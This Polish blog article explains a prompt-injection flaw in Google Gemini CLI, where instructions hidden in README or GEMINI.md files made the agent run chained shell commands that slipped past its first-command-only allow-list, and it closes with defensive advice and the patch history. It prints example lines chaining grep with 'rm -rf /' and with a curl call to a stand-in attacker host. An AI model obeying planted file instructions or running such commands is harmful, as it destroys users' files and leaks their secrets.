Groźna luka w Google Gemini CLI zagraża twoim danym i plikom

Wstęp: Nowe narzędzie, stare zagrożenia – moje pierwsze zetknięcie z Gemini CLI

Gdy tylko pojawiły się pierwsze wieści o **Google Gemini CLI**, momentalnie poczułem ekscytację właściwą każdemu, kto lubi narzędzia, które ułatwiają codzienną pracę. Uwielbiam testować AI w nowych zastosowaniach – zwłaszcza, gdy mam okazję wypróbować coś, co oficjalnie wspiera terminal i pracę z kodem. Jednak dość szybko okazało się, że entuzjazm programistów i administratorów, takich jak ja, został wystawiony na próbę. Czyli, jak to mówią, chytry dwa razy traci – i tutaj, niestety, okazało się to wyjątkowo trafne.

W ciągu kilku dni od premiery tego narzędzia, światło dzienne ujrzała **poważna luka bezpieczeństwa**. Odkrycia dokonali badacze z firmy Tracebit, a skala potencjalnych konsekwencji była wręcz zatrważająca. Jako osoba, która niejedno widziała w branży IT, muszę przyznać: rzadko, kiedy pojawia się podatność z tak szybkim i szerokim odzewem społeczności.

W tym artykule chcę przedstawić cały przebieg wydarzeń, opisać mechanikę ataku, przedstawić konsekwencje oraz – co ważne – podzielić się moimi refleksjami i podpowiedziami, jak radzić sobie, gdy AI nie zawsze działa zgodnie z Twoimi oczekiwaniami.

Google Gemini CLI – czym właściwie jest i dlaczego zyskał taką popularność?

Początki Gemini CLI: krótka charakterystyka

Google Gemini CLI to narzędzie, które oficjalnie ujrzało światło dzienne 25 czerwca 2025 roku. Zostało zaprojektowane z myślą o programistach oraz osobach pracujących w środowiskach terminalowych. Mówiąc wprost – pozwala komunikować się z potężnym modelem AI (tutaj akurat Gemini 2.5 Pro) bezpośrednio z konsoli.

Osobiście, gdy słyszę, że jakiś projekt jest open-source i ma wesprzeć automatykę w kodowaniu, od razu siadam do testów. Gemini CLI już na starcie oferował szereg ciekawych funkcji:

• Generowanie i analizowanie kodu – AI mogło podpowiadać, refaktoryzować, wyjaśniać fragmenty projektów, co dla mnie bywa wybawieniem przy rozbudowywanych repozytoriach.
• Automatyzacja powtarzalnych czynności – skróty komend czy powtarzające się operacje uruchomiane jednym poleceniem.
• Obsługa poleceń powłoki bash – możliwość zlecania Gemini CLI wykonywania rzeczywistych poleceń systemowych.
• Praca z plikami kontekstowymi, takimi jak GEMINI.md lub README.md, które opisywały założenia danego projektu, dostarczając AI dodatkowych wskazówek.

Wszystko to sprawiało, że narzędzie wydało mi się kuszące i od razu widziałem w nim potencjał np. do wdrożeń automatyzacji przy wsparciu make.com czy n8n.

Entuzjazm i… pierwsze podejrzenia społeczności IT

Nie będę owijał w bawełnę – świat programistów, szczególnie tych aktywnych na GitHubie, dosłownie rzucił się do testów Gemini CLI. Jednak, jak to często w IT bywa, apetyt rośnie w miarę jedzenia, a im więcej osób zaczęło bawić się narzędziem w praktyce, tym częściej pojawiały się pytania o bezpieczeństwo i naprawdę realne zagrożenia.

No i dosłownie po dwóch dobach od premiery stało się coś, czego wielu z nas wolało by jednak nie przeżywać.

Zrozumienie luki: Jak atakowano Gemini CLI?

Mechanika ataku – na czym polegał problem?

Cały przypadek był, niestety, klasyką w świecie AI – prompt injection. W uproszczeniu: hakerzy wstrzykiwali własne polecenia do plików kontekstowych (np. README.md), licząc na to, że użytkownicy Gemini CLI nie zauważą podstępu. AI, zamiast analizować wyłącznie bezpieczne fragmenty, ślepo realizowało wszystko, co znalazło w pliku – w tym szkodliwe polecenia.

Wyobraź sobie sytuację: pobierasz nowy projekt open-source ze znanej platformy, uruchamiasz Gemini CLI i… niespodzianka! Twój komputer wysyła hasła na zewnętrzny serwer albo czyści ci cały dysk bez żadnego ostrzeżenia.

Kluczowe elementy ataku

Oto jak krok po kroku wyglądał cały proceder:

• Ukryte polecenia w plikach – Złośliwe instrukcje wstawiano do odległych sekcji, np. do tekstu licencji lub w blokach z komentarzami, zwykle ignorowanych zarówno przez ludzi, jak i przez narzędzia do statycznej analizy kodu.
• Łańcuchowanie komend – Gemini CLI domyślnie prosiło o zatwierdzenie wykonania niektórych poleceń powłoki. Jednak atakujący wykorzystywali możliwość wywoływania całych ciągów komend, nawet jeśli tylko pierwsza była „oficjalnie” dozwolona. Taki ciąg mógł wyglądać z pozoru niewinnie: grep „coś tam”; rm -rf /.
• Brak ostrzeżenia dla użytkownika – Narzędzie nie informowało o obecności dodatkowych (szkodliwych) komend po pierwszym poleceniu, a wszystkie były wykonywane z uprawnieniami użytkownika.
• Maskowanie poleceń – Dzięki spacji i komentarzom właściwy kod dało się łatwo ukryć przed okiem osoby przeglądającej plik na szybko.

Z własnej praktyki wiem, jak często przeglądam README.md wyłącznie pobieżnie, szukając instrukcji instalacji, nie analizując całości w detalach. Tymczasem tutaj wystarczyła drobna nieuwaga.

Eksfiltracja i niszczenie danych – prawdziwe skutki ataku

Podatność dawała szerokie możliwości:

• Wykradanie plików i danych – np. za pomocą komend curl czy wget, które wysyłały zawartość plików z hasłami lub kluczami API na zdalny serwer hakera.
• Instalacja backdoorów – AI mogła wykonać polecenia pobierające i uruchamiające złośliwe skrypty, umożliwiające dalszą kontrolę nad systemem.
• Uszkadzanie systemu – najbardziej drastyczne polecenie rm -rf / po zatwierdzeniu usuwało pliki z całego dysku – strata nieodwracalna.

To trochę jak zostawić klucz pod wycieraczką i wyjść z domu. Z pozoru bezpiecznie, ale kończy się, jak wiadomo, bardzo źle.

Techniczne szczegóły podatności – co naprawdę zawiodło w Gemini CLI?

Przekładanie zabezpieczeń przez allow-list – pozorna ochrona

Mechanizm allow-list miał zabezpieczać użytkownika przed przypadkowym uruchomieniem szkodliwej komendy. Tyle że, jak już wspominałem, sprawdzał wyłącznie pierwsze polecenie w ciągu. Jeżeli więc ktoś napisał:

grep "analiza błędów" plik.txt; curl http://hacker.serwer/hasla.txt

…Gemini CLI pytało tylko o zgodę na grep – reszta była przepuszczana bez żadnej autoryzacji. Taka furtka to raj dla złośliwych osób.

Brak kontekstowej walidacji plików README oraz innych plików kontekstowych

Drugim zaniedbaniem było to, że AI ślepo ufało zawartości plików tłumaczących projekt. Każdy, kto choć trochę grzebał w Oprogramowaniu Open-Source, wie, jak łatwo dosztukować swoją linijkę w długi plik. A na „dziurawą” walidację narzędzia znalazłby sposób nawet średnio doświadczony haker.

Odpowiedź Google i Tracebit – szybka reakcja i działania naprawcze

Krok po kroku o przebiegu interwencji

Mam przyjemność obserwować branżę bezpieczeństwa komputerowego od lat i muszę oddać firmie Tracebit, że wykazali się refleksem. Już 27 czerwca, czyli dwa dni po premierze narzędzia, przekazali szczegóły podatności Google’owi.

Choć korporacje często (delikatnie mówiąc) nie spieszą się z rozwiązywaniem takich błędów, tutaj reakcja była godna pochwały. Już 25 lipca wydano poprawioną wersję 0.1.14:

• Wprowadzenie ostrzejszej weryfikacji poleceń sieciowych – każda próba wykonania tego typu instrukcji wymaga wyjątkowej, jawnej akceptacji.
• Usunięcie możliwości łańcuchowania komend – obecnie polecenia typu „coś; coś” podlegają weryfikacji całościowej.
• Bardziej rygorystyczne sprawdzanie plików kontekstowych – AI analizuje pliki pod kątem nietypowych lub ukrytych instrukcji.

O tym, jak poważnie Google potraktowało problem, świadczy też fakt nadania priorytetu P1/S1, co oznacza natychmiastową konieczność naprawy i obowiązkową informację dla użytkowników.

Rekomendacje dla użytkowników – wskazówki „na chłopski rozum”

Pozwól, że podzielę się garścią osobistych porad, które pomogą ci uniknąć nieprzyjemnych konsekwencji:

• Zawsze aktualizuj narzędzia – nie tylko Gemini CLI, ale całe środowisko, którego używasz do pracy.
• Korzystaj ze środowisk testowych czy sandboxowych, żeby „nie lać ognia na własny dom”, jeśli ściągasz coś z nieznanego repozytorium.
• Przeglądaj wszystkie pliki, które przekazujesz AI jako kontekst – nawet pobieżne „przelecenie” README czy GEMINI.md może uchronić przed katastrofą.
• Nie dawaj narzędziom AI pełnych uprawnień – zawsze ograniczaj zakres działania do minimum, jakie jest potrzebne.

Sam przez lata nauczyłem się, że lepiej poświęcić dodatkowe pięć minut na weryfikację plików, niż potem siedzieć po nocy i odzyskiwać dane z backupu (przy założeniu, że kopia w ogóle istnieje…).

Potencjalne skutki ataku z wykorzystaniem luki w Gemini CLI

Realne scenariusze – co mogło pójść nie tak?

Pisząc ten fragment, wciąż mam przed oczami wykresy i alerty, które dostawałem podczas własnych testów z AI. Ryzyko wynikające z tej podatności nie jest czysto teoretyczne. Przypadkowy pobrany projekt mógł:

• Wysłać twoje klucze API, hasła lub dane konfiguracyjne na zewnętrzny serwer – zupełnie bez twojej wiedzy.
• Uruchomić zdalną powłokę (shell), umożliwiając komuś przejęcie kontroli nad twoim systemem.
• Usunąć lub uszkodzić pliki, od których zależy działanie projektu lub całego środowiska.
• Wprowadzić złośliwe oprogramowanie, tzw. backdoora, które przez długi czas będzie niewidoczne dla przeciętnego użytkownika.

Warto również zaznaczyć, że atak ten mógł pozostać kompletnie niezauważony. Złośliwe frazy były często maskowane w kodzie tak skutecznie, że nawet „stary wyjadacz” branży, taki jak ja, mógłby się nadziać, przeglądając plik na szybko.

Sytuacja z perspektywy zespołów korzystających z automatyzacji (make.com, n8n, GitHub Actions)

W Marketing-Ekspercki często wdrażam automatyzacje w systemach make.com czy n8n oraz tworzę pipeline’y DevOpsowe z użyciem GitHub Actions. Taka podatność to de facto szansa na atak łańcuchowy – jeden zainfekowany moduł może otworzyć drogę do całego procesu biznesowego, który prowadzisz. A przecież nie ma nic gorszego niż utrata danych klientów lub zablokowanie produkcji przez własną nieuwagę.

Kulturowa refleksja: „Przezorny zawsze ubezpieczony” w świecie AI

Polacy często mawiają: „Mądry Polak po szkodzie” – i właśnie ta sytuacja idealnie pokazuje, jak bardzo te słowa są aktualne nawet w cyfrowym świecie. AI daje ogromne możliwości, ale też prowadzi na manowce, jeśli zapominamy o podstawach higieny cyfrowej.

Z mojej strony mogę dodać: pracując w marketingu i automatyzacjach, codziennie balansuję pomiędzy wygodą a bezpieczeństwem. AI, choć potężne, nie zwalnia nikogo z myślenia i – co tu dużo mówić – czasem zwykła czujność to nasza ostatnia linia obrony.

Anatomia typowego ataku na developerów: notatka na marginesie

Dla jasności, mechanizm prompt injection, choć w tym przypadku dotyczył Gemini CLI, trudno uznać za stricte nowy wynalazek. Przynajmniej od kilku lat regularnie można trafić na podobne przypadki związane z językami naturalnymi czy prostymi interfejsami tekstowymi (np. ChatGPT czy Assistant API). AI nie analizuje intencji autora pliku kontekstowego, tylko „czyta” wszystko jak leci – i tu diabeł tkwi w szczegółach.

Mój kolega z zaprzyjaźnionej agencji marketingowej do dziś śmieje się, jak przez przypadek udostępnił własne dane dostępu do bazy, bo zapomniał wyczyścić stare README.md. Niech to będzie przestrogą dla wszystkich…

Zabezpieczenia po stronie użytkownika: praktyczny przewodnik dla każdego

Jak nie dać się „naciąć” – lista kontrolna według starej szkoły IT

Oto kilka złotych zasad, których ja staram się trzymać na co dzień. 
Mam nadzieję, że przydadzą się także tobie:

• Upewnij się, że twoje narzędzia AI są zawsze w najnowszej wersji (w przypadku Gemini CLI – oznaczenie 0.1.14 lub wyższe).
• Testuj nowe projekty w izolowanych środowiskach – tzw. sandboxy na oddzielnych kontenerach lub wirtualnych maszynach to żaden wielki wydatek, a spokój ducha gwarantowany.
• Sprawdzaj dokładnie zawartość plików README, GEMINI.md oraz podobnych przed oddaniem kontroli AI nad własnym systemem.
• Upewnij się, że wszelkie „dziwne” fragmenty komend (np. zbyt długie ciągi spacji, niezrozumiałe komentarze) nie są przypadkiem ukrytą instrukcją.
• Twórz kopie zapasowe ważnych plików oraz systemów – nigdy nie wiadomo, kiedy AI postanowi „pomóc” aż za bardzo.

Skrajna ostrożność nigdy nie wyszła nikomu bokiem – zwłaszcza w świecie automatyzacji.

Konsekwencje dla branży AI – refleksja Marketing-Ekspercki

Co ta afera oznacza dla całego rynku AI?

Nie boję się użyć mocnych słów: sprawa z Gemini CLI po raz kolejny dowodzi, że w pędzie za innowacjami łatwo przegapić elementarne zasady bezpieczeństwa. Przez moją skrzynkę przewija się coraz więcej pytań klientów dotyczących ochrony plików, backupów oraz audytu AI. Muszę uczciwie przyznać – nie bez powodu.

Pamiętajmy, że narzędzia takie jak make.com, n8n czy GitHub Actions nierzadko opierają się na automatycznym zaciąganiu kodów czy fragmentów konfiguracji z zewnętrznych źródeł. Dodasz jedną nieprzetestowaną integrację i masz gotową „bombę z opóźnionym zapłonem”.

Czego nauczyła nas luka w Google Gemini CLI?

Mogę z całą pewnością powiedzieć, że z tego przypadku płyną trzy solidne lekcje:

1. Ostrożności nigdy za wiele – Przy każdym narzędziu AI, nawet od największych gigantów, podstawowa walidacja i ograniczanie uprawnień powinny wejść w krew każdemu, kto myśli o swoim bezpieczeństwie.
2. Testować, weryfikować, aktualizować – Upowiązane środowiska należy regularnie aktualizować i sprawdzać pod kątem nowych mechanizmów obrony.
3. Nie oddawaj bezmyślnie kontroli – AI może być najlepszym kumplem developera, pod warunkiem, że nie pozwalasz mu swobodnie buszować w twoim komputerze bez nadzoru!

Osobiście preferuję podejście etapowe – wdrażam nowe narzędzia w środowiskach testowych, dopiero potem przesłuchuję logi oraz konfiguracje końcowe. Wierzę, że zdrowy dystans do napływających nowinek to coś, czego wszystkim życzę – bo, jak mawia klasyk, „lepiej dmuchać na zimne”.

Podsumowanie i praktyczne zalecenia dla użytkowników Gemini CLI

Na sam koniec, bez nadmiernego rozwodzenia się: jeżeli korzystasz z Gemini CLI, natychmiast sprawdź wersję swojego narzędzia. Jeśli jest niższa niż 0.1.14 – aktualizuj. Warto też rozważyć ponowną weryfikację wszystkich projektów, które otwierałeś przy pomocy tego narzędzia od daty premiery.

Pamiętaj:

• W AI ogromne możliwości idą w parze z równie ogromnym ryzykiem.
• Nieznane źródło to zawsze ryzyko – nawet jeśli wygląda na najbardziej zaufane końców świecie.
• Minimalizuj uprawnienia, aktualizuj oprogramowanie, przeglądaj konteksty – i zawsze miej w tyle głowy tę przysłowiową, polską przezorność.

Mógłbym napisać jeszcze wiele o zabezpieczeniach, backupach czy praktykach pracy z AI, ale myślę, że morał tej historii pozostanie z nami na długo: lepiej późno niż… z nowym systemem!

Sprawdź koniecznie swoją wersję Gemini CLI, zadbaj o bezpieczeństwo swoich danych i – jak zwykł mawiać jeden ze znanych w branży mentorów – szanuj swoje cyfrowe klucze! AI jest naszym sprzymierzeńcem, o ile nie zrobimy z niego nieświadomego sabotażysty własnych projektów. Bezpiecznej pracy!

Źródło: https://imagazine.pl/2025/07/31/grozna-luka-w-narzedziu-google-gemini-cli-hakerzy-mogli-zdalnie-usuwac-pliki/